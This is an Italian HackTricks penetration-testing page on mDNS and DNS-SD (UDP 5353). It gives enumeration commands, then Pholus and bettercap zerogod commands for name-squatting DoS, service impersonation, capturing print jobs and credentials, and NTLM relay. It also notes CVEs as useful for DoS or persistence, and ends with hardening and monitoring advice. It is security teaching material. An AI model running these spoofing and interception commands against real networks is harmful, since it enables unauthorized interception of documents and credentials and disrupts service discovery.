5353/UDP Multicast DNS (mDNS) e DNS-SD
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
Multicast DNS (mDNS) permette la risoluzione di nomi simile a DNS e la scoperta dei servizi all’interno di un link locale senza un server DNS unicast. Usa UDP/5353 e gli indirizzi multicast 224.0.0.251 (IPv4) e FF02::FB (IPv6). DNS Service Discovery (DNS-SD, tipicamente usato con mDNS) fornisce un modo standardizzato per enumerare e descrivere i servizi tramite record PTR, SRV e TXT.
PORT STATE SERVICE
5353/udp open zeroconf
Dettagli chiave del protocollo che sfrutterai spesso durante gli attacchi:
- I nomi nella zona .local vengono risolti tramite mDNS.
- Il bit QU (Query Unicast) può richiedere risposte unicast anche per query multicast.
- Le implementazioni dovrebbero ignorare i pacchetti non provenienti dal link locale; alcuni stack li accettano ancora.
- Le fasi di probing/annuncio impongono nomi host/service unici; interferire qui crea condizioni di DoS/“name squatting”.
Modello di servizio DNS-SD
I servizi sono identificati come _
Esplorazione e enumerazione della rete
- nmap target scan (mDNS diretto su un host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
- nmap broadcast discovery (ascolta il segmento ed enumera tutti i tipi/istanze DNS-SD):
sudo nmap --script=broadcast-dns-service-discovery
- avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
- Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
- Packet capture con tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""
Suggerimento: Alcuni browser/WebRTC usano hostname mDNS effimeri per mascherare gli IP locali. Se vedi candidati random-UUID.local sul wire, risolvili con mDNS per pivotare sugli IP locali.
Attacchi
Interferenza durante il probing dei nomi mDNS (DoS / name squatting)
Durante la fase di probing, un host verifica l’unicità del nome. Rispondere con conflitti spoofati lo costringe a scegliere nuovi nomi o a fallire. Questo può ritardare o impedire la registrazione e la scoperta del servizio.
Esempio con Pholus:
# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000
Spoofing e impersonazione dei servizi (MitM)
Impersonate advertised DNS-SD services (stampanti, AirPlay, HTTP, file shares) per costringere i client a connettersi a te. Questo è particolarmente utile per:
- Catturare documenti tramite spoofing di _ipp._tcp o _printer._tcp.
- Adescare i client verso servizi HTTP/HTTPS per raccogliere token/cookie o consegnare payload.
- Combinare con le tecniche di relay NTLM quando i client Windows negoziano l’autenticazione verso servizi spoofati.
Con il modulo zerogod di bettercap (mDNS/DNS-SD spoofer/impersonator):
# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"
# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42
# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42
# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42
# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
Notes on recent implementation issues (useful for DoS/persistence during engagements)
- I bug di reachable-assertion di Avahi e di crash di D-Bus (2023) possono terminare avahi-daemon sulle distribuzioni Linux (es. CVE-2023-38469..38473, CVE-2023-1981), interrompendo la discovery dei servizi sugli host target fino al riavvio.
- Il DoS del gateway mDNS su Cisco IOS XE Wireless LAN Controller (CVE-2024-20303) consente ai client WLAN adiacenti di inviare inondazioni di mDNS appositamente costruiti, saturando la CPU del WLC e facendo cadere i tunnel AP — utile se devi forzare il roaming dei client o i reset del controller durante un engagement.
- Un errore logico di mDNSResponder di Apple che causa DoS (CVE-2024-44183) permette a un processo locale sandboxed di far crashare Bonjour per sopprimere temporaneamente la pubblicazione/ricerca dei servizi su endpoint Apple; corretto nelle release correnti di iOS/macOS.
- Una problematica di correttezza di mDNSResponder di Apple (CVE-2025-31222) consentiva escalation locale di privilegi tramite mDNSResponder; utile per persistenza su Mac/iPhone non gestiti, corretto negli aggiornamenti recenti di iOS/macOS.
Browser/WebRTC mDNS considerations
I moderni Chromium/Firefox offuscano gli host candidates con nomi mDNS casuali. Puoi riesporre gli IP LAN su endpoint gestiti applicando la policy Chrome WebRtcLocalIpsAllowedUrls (o attivando/disattivando chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/equivalente Edge) così ICE espone gli host candidates invece di mDNS; impostabile via HKLM\Software\Policies\Google\Chrome.
Quando gli utenti disabilitano manualmente la protezione (comune nelle guide di troubleshooting WebRTC), i loro browser ricominciano ad annunciare host candidates in chiaro, che puoi catturare tramite mDNS o signaling ICE per accelerare la scoperta degli host.
Defensive considerations and OPSEC
- Confini di segmento: Non instradare 224.0.0.251/FF02::FB tra zone di sicurezza a meno che un mDNS gateway non sia esplicitamente richiesto. Se devi consentire la discovery tra segmenti, preferisci allowlists e rate limits.
- Endpoint/server Windows:
- Per disabilitare completamente la risoluzione dei nomi via mDNS imposta il valore di registro e riavvia:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
- Negli ambienti gestiti, disabilita la regola integrata “mDNS (UDP-In)” del Windows Defender Firewall (almeno sul profilo Domain) per prevenire l’elaborazione mDNS in ingresso preservando la funzionalità home/roaming.
- Sulle build più recenti di Windows 11/template GPO, usa la policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” e impostala su Disabled.
- Linux (Avahi):
- Restringi la pubblicazione quando non necessaria: imposta
disable-publishing=yese limita le interfacce conallow-interfaces=/deny-interfaces=in/etc/avahi/avahi-daemon.conf. - Prendi in considerazione
check-response-ttl=yesed evitaenable-reflector=yesa meno che non sia strettamente necessario; preferisci allowlistsreflect-filters=quando rifletti. - macOS: Restringi il traffico mDNS in ingresso a livello di host/firewall di rete quando la discovery Bonjour non è necessaria per subnet specifiche.
- Monitoring: Allerta su picchi insoliti di query
_services._dns-sd._udp.localo cambiamenti improvvisi in SRV/TXT di servizi critici; sono indicatori di spoofing o impersonificazione di servizi.
Tooling quick reference
- nmap NSE:
dns-service-discoveryandbroadcast-dns-service-discovery. - Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
- bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (vedi esempi sopra).
Spoofing/MitM
L’attacco più interessante che puoi eseguire su questo servizio è un MitM nella comunicazione tra il client e il server reale. Potresti ottenere file sensibili (ad es. MitM della comunicazione con la stampante) o addirittura credenziali (autenticazione Windows).
Per maggiori informazioni consulta:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
References
- Practical IoT Hacking: La guida definitiva per attaccare l’Internet of Things
- Nmap NSE: broadcast-dns-service-discovery
- bettercap zerogod (scoperta mDNS/DNS-SD, spoofing, impersonazione)
- Avviso Cisco IOS XE WLC mDNS gateway DoS (CVE-2024-20303)
- Avviso Rapid7 per Apple mDNSResponder CVE-2024-44183
- Analisi Rapid7 di Apple mDNSResponder CVE-2025-31222
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


